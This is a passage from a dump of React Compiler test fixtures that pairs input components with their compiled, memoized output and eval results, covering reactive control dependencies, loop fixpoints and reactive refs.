    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  // Reassign `x` based on a reactive value, but inside a function expression\n  // to make it a context variable\n  const f = () => {\n    if (props.cond) {\n      x = 1;\n    } else {\n      x = 2;\n    }\n  };\n  // Pass `f` through a function to prevent IIFE inlining optimizations\n  const f2 = identity(f);\n  f2();\n\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.expect.md",
    "content": "\n## Input\n\n```javascript\nimport invariant from 'invariant';\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const [x, setX] = useState(false);\n  const [y, setY] = useState(false);\n  let setState;\n  if (props.cond) {\n    setState = setX;\n  } else {\n    setState = setY;\n  }\n  const setState2 = setState;\n  const stateObject = {setState: setState2};\n  return (\n    <Foo\n      cond={props.cond}\n      setX={setX}\n      setY={setY}\n      setState={stateObject.setState}\n    />\n  );\n}\n\nfunction Foo({cond, setX, setY, setState}) {\n  if (cond) {\n    invariant(setState === setX, 'Expected the correct setState function');\n  } else {\n    invariant(setState === setY, 'Expected the correct setState function');\n  }\n  return 'ok';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport invariant from \"invariant\";\nimport { useState } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  const [, setX] = useState(false);\n  const [, setY] = useState(false);\n  let setState;\n  if (props.cond) {\n    setState = setX;\n  } else {\n    setState = setY;\n  }\n\n  const setState2 = setState;\n  let t0;\n  if ($[0] !== setState2) {\n    t0 = { setState: setState2 };\n    $[0] = setState2;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const stateObject = t0;\n  let t1;\n  if ($[2] !== props.cond || $[3] !== stateObject.setState) {\n    t1 = (\n      <Foo\n        cond={props.cond}\n        setX={setX}\n        setY={setY}\n        setState={stateObject.setState}\n      />\n    );\n    $[2] = props.cond;\n    $[3] = stateObject.setState;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nfunction Foo(t0) {\n  const { cond, setX, setY, setState } = t0;\n  if (cond) {\n    invariant(setState === setX, \"Expected the correct setState function\");\n  } else {\n    invariant(setState === setY, \"Expected the correct setState function\");\n  }\n\n  return \"ok\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) ok\nok\nok\nok\nok\nok\nok\nok"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.js",
    "content": "import invariant from 'invariant';\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const [x, setX] = useState(false);\n  const [y, setY] = useState(false);\n  let setState;\n  if (props.cond) {\n    setState = setX;\n  } else {\n    setState = setY;\n  }\n  const setState2 = setState;\n  const stateObject = {setState: setState2};\n  return (\n    <Foo\n      cond={props.cond}\n      setX={setX}\n      setY={setY}\n      setState={stateObject.setState}\n    />\n  );\n}\n\nfunction Foo({cond, setX, setY, setState}) {\n  if (cond) {\n    invariant(setState === setX, 'Expected the correct setState function');\n  } else {\n    invariant(setState === setY, 'Expected the correct setState function');\n  }\n  return 'ok';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n\n  let value = null;\n  loop: for (let i = 0; i < 10; i++) {\n    switch (value) {\n      case true: {\n        x = 1;\n        break loop;\n      }\n      case false: {\n        x = 2;\n        break loop;\n      }\n    }\n\n    value = props.cond;\n  }\n\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `value` used as the switch test\n  // condition. That variable is initially null on the first iteration\n  // of the loop, but is later set to `props.value` which is reactive.\n  // Therefore x should be treated as reactive.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x = 0;\n\n  let value = null;\n  for (let i = 0; i < 10; i++) {\n    switch (value) {\n      case true: {\n        x = 1;\n        break;\n      }\n      case false: {\n        x = 2;\n        break;\n      }\n    }\n\n    value = props.cond;\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[2]\n[2]\n[1]\n[2]\n[1]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.js",
    "content": "function Component(props) {\n  let x = 0;\n\n  let value = null;\n  loop: for (let i = 0; i < 10; i++) {\n    switch (value) {\n      case true: {\n        x = 1;\n        break loop;\n      }\n      case false: {\n        x = 2;\n        break loop;\n      }\n    }\n\n    value = props.cond;\n  }\n\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `value` used as the switch test\n  // condition. That variable is initially null on the first iteration\n  // of the loop, but is later set to `props.value` which is reactive.\n  // Therefore x should be treated as reactive.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  switch (props.cond) {\n    case true: {\n      x = 1;\n      break;\n    }\n    case false: {\n      x = 2;\n      break;\n    }\n    default: {\n      x = 3;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  bb0: switch (props.cond) {\n    case true: {\n      x = 1;\n      break bb0;\n    }\n    case false: {\n      x = 2;\n      break bb0;\n    }\n    default: {\n      x = 3;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[2]\n[2]\n[1]\n[2]\n[1]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.js",
    "content": "function Component(props) {\n  let x;\n  switch (props.cond) {\n    case true: {\n      x = 1;\n      break;\n    }\n    case false: {\n      x = 2;\n      break;\n    }\n    default: {\n      x = 3;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.expect.md",
    "content": "\n## Input\n\n```javascript\nconst GLOBAL = 42;\n\nfunction Component({value}) {\n  let x;\n  switch (GLOBAL) {\n    case value: {\n      x = 1;\n      break;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.value` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {value: GLOBAL},\n    {value: GLOBAL},\n    {value: null},\n    {value: null},\n    {value: GLOBAL},\n    {value: null},\n    {value: GLOBAL},\n    {value: null},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst GLOBAL = 42;\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let x;\n  bb0: switch (GLOBAL) {\n    case value: {\n      x = 1;\n      break bb0;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  let t1;\n  if ($[0] !== x) {\n    t1 = [x];\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { value: GLOBAL },\n    { value: GLOBAL },\n    { value: null },\n    { value: null },\n    { value: GLOBAL },\n    { value: null },\n    { value: GLOBAL },\n    { value: null },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[2]\n[2]\n[1]\n[2]\n[1]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.js",
    "content": "const GLOBAL = 42;\n\nfunction Component({value}) {\n  let x;\n  switch (GLOBAL) {\n    case value: {\n      x = 1;\n      break;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.value` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {value: GLOBAL},\n    {value: GLOBAL},\n    {value: null},\n    {value: null},\n    {value: GLOBAL},\n    {value: null},\n    {value: GLOBAL},\n    {value: null},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // x is mutated conditionally based on a reactive value,\n  // so it needs to be considered reactive\n  let x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n  // Since x is reactive, y is now reactively controlled too:\n  let y = false;\n  if (x[0]) {\n    y = true;\n  }\n  // Thus this value should be reactive on `y`:\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n\n  const x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n\n  let y = false;\n  if (x[0]) {\n    y = true;\n  }\n  let t0;\n  if ($[0] !== y) {\n    t0 = [y];\n    $[0] = y;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [true]\n[true]\n[false]\n[false]\n[true]\n[false]\n[true]\n[false]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.js",
    "content": "function Component(props) {\n  // x is mutated conditionally based on a reactive value,\n  // so it needs to be considered reactive\n  let x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n  // Since x is reactive, y is now reactively controlled too:\n  let y = false;\n  if (x[0]) {\n    y = true;\n  }\n  // Thus this value should be reactive on `y`:\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // x is mutated conditionally based on a reactive value,\n  // so it needs to be considered reactive\n  let x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n  // Since x is reactive, y is now reactively controlled too:\n  let y = false;\n  switch (x[0]) {\n    case 1: {\n      y = true;\n      break;\n    }\n  }\n  // Thus this value should be reactive on `y`:\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n\n  const x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n\n  let y = false;\n  switch (x[0]) {\n    case 1: {\n      y = true;\n    }\n  }\n  let t0;\n  if ($[0] !== y) {\n    t0 = [y];\n    $[0] = y;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [true]\n[true]\n[false]\n[false]\n[true]\n[false]\n[true]\n[false]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.js",
    "content": "function Component(props) {\n  // x is mutated conditionally based on a reactive value,\n  // so it needs to be considered reactive\n  let x = [];\n  if (props.cond) {\n    x.push(1);\n  }\n  // Since x is reactive, y is now reactively controlled too:\n  let y = false;\n  switch (x[0]) {\n    case 1: {\n      y = true;\n      break;\n    }\n  }\n  // Thus this value should be reactive on `y`:\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  let i = 0;\n  while (i < props.test) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n    i++;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is affected by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  let i = 0;\n  while (i < props.test) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n\n    i++;\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { test: 12 },\n    { test: 12 },\n    { test: 1 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.js",
    "content": "function Component(props) {\n  let x;\n  let i = 0;\n  while (i < props.test) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n    i++;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is affected by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return props.post.feedback.comments?.edges?.map(render);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.post.feedback.comments?.edges) {\n    t0 = props.post.feedback.comments?.edges?.map(render);\n    $[0] = props.post.feedback.comments?.edges;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.js",
    "content": "function Component(props) {\n  return props.post.feedback.comments?.edges?.map(render);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  let y = 0;\n\n  while (x === 0) {\n    x = y;\n    y = props.value;\n  }\n\n  // x and y initially start out with non-reactive values,\n  // but after an iteration of the loop y becomes reactive,\n  // and this reactive value then flows into x on the next\n  // loop iteration, making x reactive.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x = 0;\n  let y = 0;\n\n  while (x === 0) {\n    x = y;\n    y = props.value;\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.js",
    "content": "function Component(props) {\n  let x = 0;\n  let y = 0;\n\n  while (x === 0) {\n    x = y;\n    y = props.value;\n  }\n\n  // x and y initially start out with non-reactive values,\n  // but after an iteration of the loop y becomes reactive,\n  // and this reactive value then flows into x on the next\n  // loop iteration, making x reactive.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = props.y;\n  return [x, y]; // x is captured here along with a reactive value. this shouldn't make `x` reactive!\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const y = props.y;\n  let t1;\n  if ($[1] !== y) {\n    t1 = [x, y];\n    $[1] = y;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.js",
    "content": "function Component(props) {\n  const x = {};\n  const y = props.y;\n  return [x, y]; // x is captured here along with a reactive value. this shouldn't make `x` reactive!\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = {};\n  const y = props.y;\n  const z = [x, y];\n  mutate(z);\n  // x's object identity can change bc it co-mutates with z, which is reactive via props.y\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.y) {\n    const x = {};\n    const y = props.y;\n    const z = [x, y];\n    mutate(z);\n    t0 = [x];\n    $[0] = props.y;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = {};\n  const y = props.y;\n  const z = [x, y];\n  mutate(z);\n  // x's object identity can change bc it co-mutates with z, which is reactive via props.y\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef, forwardRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\n\nfunction Parent({cond}) {\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  return <Child ref={ref} />;\n}\n\nfunction ChildImpl(_props, ref) {\n  const cb = () => ref.current;\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nconst Child = forwardRef(ChildImpl);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Parent,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef, forwardRef } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\n\nfunction Parent(t0) {\n  const $ = _c(2);\n  const { cond } = t0;\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  let t1;\n  if ($[0] !== ref) {\n    t1 = <Child ref={ref} />;\n    $[0] = ref;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction ChildImpl(_props, ref) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== ref) {\n    const cb = () => ref.current;\n    t0 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[0] = ref;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nconst Child = forwardRef(ChildImpl);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Parent,\n  params: [{ cond: true }],\n  sequentialRenders: [{ cond: true }, { cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.tsx",
    "content": "import {useRef, forwardRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\n\nfunction Parent({cond}) {\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  return <Child ref={ref} />;\n}\n\nfunction ChildImpl(_props, ref) {\n  const cb = () => ref.current;\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nconst Child = forwardRef(ChildImpl);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Parent,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\nfunction Component({cond}) {\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  const cb = () => ref.current;\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\nfunction Component(t0) {\n  const $ = _c(2);\n  const { cond } = t0;\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  let t1;\n  if ($[0] !== ref) {\n    const cb = () => ref.current;\n    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[0] = ref;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true 